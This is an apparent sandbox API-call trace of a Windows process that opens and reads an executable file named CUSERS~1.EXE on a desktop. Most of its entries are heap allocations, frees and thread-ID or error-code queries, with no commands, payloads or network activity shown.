[0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetLastError () returned 0x2 [0073.481] GetLastError () returned 0x2 [0073.481] GetLastError () returned 0x2 [0073.481] GetLastError () returned 0x2 [0073.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0073.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.481] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b160 [0073.481] GetLastError () returned 0x2 [0073.481] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.481] GetFileType (hFile=0x1e8) returned 0x1 [0073.481] GetLastError () returned 0x0 [0073.481] GetCurrentThreadId () returned 0x9b0 [0073.481] GetLastError () returned 0x0 [0073.482] GetFileType (hFile=0x1e8) returned 0x1 [0073.482] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0073.482] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.482] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.482] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.482] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.482] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.482] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.482] GetLastError () returned 0x0 [0073.482] GetCurrentThreadId () returned 0x9b0 [0073.482] GetLastError () returned 0x0 [0073.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.482] GetLastError () returned 0x0 [0073.482] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7841825, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x77a821 [0073.482] GetLastError () returned 0x0 [0073.482] GetCurrentThreadId () returned 0x9b0 [0073.482] GetLastError () returned 0x0 [0073.482] GetCurrentThreadId () returned 0x9b0 [0073.482] GetCurrentThreadId () returned 0x9b0 [0073.482] GetLastError () returned 0x0 [0073.482] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8621898, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x838f4a [0073.482] GetLastError () returned 0x0 [0073.483] GetCurrentThreadId () returned 0x9b0 [0073.483] GetLastError () returned 0x0 [0073.483] GetCurrentThreadId () returned 0x9b0 [0073.483] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1aa5) returned 0x2bb9598 [0073.483] GetLastError () returned 0x0 [0073.483] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb95ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2bb95ac*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0073.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bbb048 [0073.485] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bbb048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2bbb048*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0073.486] GetLastError () returned 0x0 [0073.486] GetCurrentThreadId () returned 0x9b0 [0073.486] GetLastError () returned 0x0 [0073.486] GetCurrentThreadId () returned 0x9b0 [0073.486] GetLastError () returned 0x0 [0073.486] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x83af4a [0073.486] GetLastError () returned 0x0 [0073.486] GetCurrentThreadId () returned 0x9b0 [0073.486] GetLastError () returned 0x0 [0073.486] GetLastError () returned 0x0 [0073.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb048 | out: hHeap=0x2ad0000) returned 1 [0073.487] CloseHandle (hObject=0x1e8) returned 1 [0073.487] GetLastError () returned 0x0 [0073.487] GetCurrentThreadId () returned 0x9b0 [0073.487] GetLastError () returned 0x0 [0073.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bbb048 [0073.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bbcc20 [0073.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bc0c40 [0073.487] GetLastError () returned 0x0 [0073.487] GetCurrentThreadId () returned 0x9b0 [0073.487] GetLastError () returned 0x0 [0073.487] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bbcc20, Size=0x8015) returned 0x2bc8c48 [0073.487] GetLastError () returned 0x0 [0073.488] GetCurrentThreadId () returned 0x9b0 [0073.488] GetLastError () returned 0x0 [0073.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc0c40 | out: hHeap=0x2ad0000) returned 1 [0073.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb048 | out: hHeap=0x2ad0000) returned 1 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc8c48, Size=0x4bc9) returned 0x2bc8c48 [0073.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9598 | out: hHeap=0x2ad0000) returned 1 [0073.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ab) returned 0x2bb9598 [0073.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40f) returned 0x2bb9850 [0073.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fa10 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18d88 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d88, Size=0x64) returned 0x2a19578 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0748 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0748, Size=0xb8) returned 0x2ac1d38 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1d38, Size=0xe8) returned 0x2ac3010 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3010, Size=0x120) returned 0x2ba5058 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5058, Size=0x160) returned 0x2ba5f38 [0073.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5f38, Size=0x1a8) returned 0x2ac92b0 [0073.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2bcd820 [0073.489] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac92b0, Size=0x1f8) returned 0x2ba7d78 [0073.489] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7d78, Size=0x250) returned 0x2ac4960 [0073.490] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2ba97a0 [0073.490] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba97a0, Size=0x324) returned 0x2bab298 [0073.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bab298 | out: hHeap=0x2ad0000) returned 1 [0073.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc8c48 | out: hHeap=0x2ad0000) returned 1 [0073.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.490] GetCurrentThreadId () returned 0x9b0 [0073.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e308 [0073.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2c0f830 [0073.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f830 | out: hHeap=0x2ad0000) returned 1 [0073.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c13ab0 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0e308 | out: hHeap=0x2ad0000) returned 1 [0073.491] GetCurrentThreadId () returned 0x9b0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.491] GetCurrentThreadId () returned 0x9b0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71620 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0073.491] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71720 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0d850 [0073.491] GetCurrentThreadId () returned 0x9b0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0eab0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aea0 [0073.492] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a716e0 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.492] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x10) returned 0x2a180a0 [0073.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f258 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.492] GetCurrentThreadId () returned 0x9b0 [0073.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.493] GetCurrentThreadId () returned 0x9b0 [0073.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18310 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.494] GetCurrentThreadId () returned 0x9b0 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18340 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182c8 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.495] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.496] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b68 [0073.497] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b68 | out: hHeap=0x2ad0000) returned 1 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.497] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17940, Size=0x20) returned 0x2a1fab0 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fab0, Size=0x40) returned 0x2a19328 [0073.497] GetCurrentThreadId () returned 0x9b0 [0073.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a30 [0073.498] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19328, Size=0x64) returned 0x2a19738 [0073.498] GetCurrentThreadId () returned 0x9b0 [0073.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a195e8 [0073.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0073.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19b28 [0073.498] GetCurrentThreadId () returned 0x9b0 [0073.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0073.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0073.498] GetCurrentThreadId () returned 0x9b0 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17898 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17970 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17898 | out: hHeap=0x2ad0000) returned 1 [0073.499] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0450 [0073.499] GetCurrentThreadId () returned 0x9b0 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17970 | out: hHeap=0x2ad0000) returned 1 [0073.499] GetCurrentThreadId () returned 0x9b0 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19658 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b050 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19578 [0073.499] GetCurrentThreadId () returned 0x9b0 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0073.499] GetCurrentThreadId () returned 0x9b0 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20258 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20138 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b08 [0073.499] GetCurrentThreadId () returned 0x9b0 [0073.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b08 | out: hHeap=0x2ad0000) returned 1 [0073.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acea78 [0073.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 [0073.500] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a48, Size=0x20) returned 0x2a1f8a8 [0073.500] GetLastError () returned 0x0 [0073.500] GetLastError () returned 0x0 